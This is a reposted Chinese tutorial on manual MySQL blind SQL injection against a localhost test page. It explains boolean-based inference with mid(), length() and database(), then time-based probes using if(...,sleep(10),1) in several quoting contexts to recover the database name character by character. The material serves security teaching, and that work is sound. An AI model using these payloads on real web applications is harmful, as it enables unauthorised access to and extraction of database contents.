十几分钟让你学会MySQL布尔和延迟盲注手工操作

Posted i春秋网络安全学院

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了十几分钟让你学会MySQL布尔和延迟盲注手工操作相关的知识,希望对你有一定的参考价值。

作者:Max老白Gān丶
链接:http://www.lofter.com/lpost/1fefbc76_12d25dc31
来源:LOFTER

  • 注入常用到的几个函数



  •  
    1
    mid(str,1,3)
    字符串获取
    技术分享图片
    这里我们要看到123456789 从第一个字节也就是1开始获取到3就截止了
  •  
    1
    ORD()
    转换为ASCII码
    技术分享图片
    我们看到这里把a转换成了97 我们去看对照表
    技术分享图片
  • 1
    Length()
    统计字节长度

    技术分享图片
  •  
    1
    version()
    查看数据库版本 

    技术分享图片
  •  
    1
    database()
    查看数据库
    技术分享图片
  •  
    1
    user()
    查看当前用户
    技术分享图片


首先我们确定注入了验证要先获取数据库长度

1
2
and length(database())
or length(database())


  我们先看一下数据库中sqltest长度【其实就是7个】
技术分享图片
小知识点:有数据用and 没数据用or

1
http://localhost/test.php?id=1and length(database()) >1 #

 

1
and length(database()) >1 #:

意思是数据库的长度是否大于1
技术分享图片没有变化以此类推
发现变换
技术分享图片

这时候我们要确定他到底是多少字节

 
1
http://localhost/test.php?id=1and length(database()) = 8 %23


他等于8吗?不等于
技术分享图片
他等于6吗?不等于
技术分享图片
他等于7返回正确页面说明他的字节是7
技术分享图片
技术分享图片

现在我们获取数据库名字:

1
http://localhost/test.php?id=1‘ and mid(database(),1,1) =‘1‘%23

 

 
1
mid(database(),1,1) =‘1‘

:它的意思是从第一个获取每次只取一个 它等于1吗?
很显然不等
技术分享图片
然后修改后面的以此类推我们试到

 
1
http://localhost/test.php?id=1‘ and mid(database(),1,1) =‘s‘%23


返回true的正确页面
技术分享图片
如果我们想获取第二位第三位怎么办?

 
1
2
3
4
5
6
7
mid(database(),2,1)
mid(database(),3,1)
mid(database(),4,1)
mid(database(),5,1)
mid(database(),6,1)
mid(database(),7,1)
http://localhost/test.php?id=1‘ and mid(database(),2,1)  =‘q‘%23


技术分享图片剩下的我就不一一获取了学习这样方式就明白了。

延时注入方法:

常用的判断语句:

1
2
3
4
5
6
7
8
9
‘ and if(1=0,1, sleep(10)) --+   
 
" and if(1=0,1, sleep(10)) --+
 
) and if(1=0,1, sleep(10)) --+
 
) and if(1=0,1, sleep(10)) --+
 
") and if(1=0,1, sleep(10)) --+



为什么我和布尔注入写在一个文章里面哪?因为他们操作的流程是差不多的。
技术分享图片


延时了10秒确定存在注入。

获取数据库长度利用上面的知识:

1
and if(length(database())=9,sleep(10),1)--+


意思是如果数据过长度等于9他就延时10秒

1
and if(length(database())<6,sleep(10),1)--+


如果一开始不知道他长度可以用这个大致判断的长度然后用上面的等于确定
长度小于6吗?没有延迟不小于6

技术分享图片
小于9吗?
技术分享图片



延迟成功表名数据库小于9 也就是说数据库长度在6-9之间

1
and if(length(database())=7,sleep(10),1)--+


一 一测试我们确定长度是7
技术分享图片
获取数据库名字:

1
http://localhost/test.php?id=1‘ and if(mid(database(),1,1) =‘s‘,sleep(10),1)--+


技术分享图片






































































以上是关于十几分钟让你学会MySQL布尔和延迟盲注手工操作的主要内容,如果未能解决你的问题,请参考以下文章

python脚本学习一:测试布尔型盲注脚本

SQL注入速查笔记

SQL注入-布尔盲注实例

布尔盲注(基于sqli-labs第八关)

CTFHub——技能树——SQL注入(sqlmap)

sqli-labs lesson 7-10 (文件导出,布尔盲注,延时注入)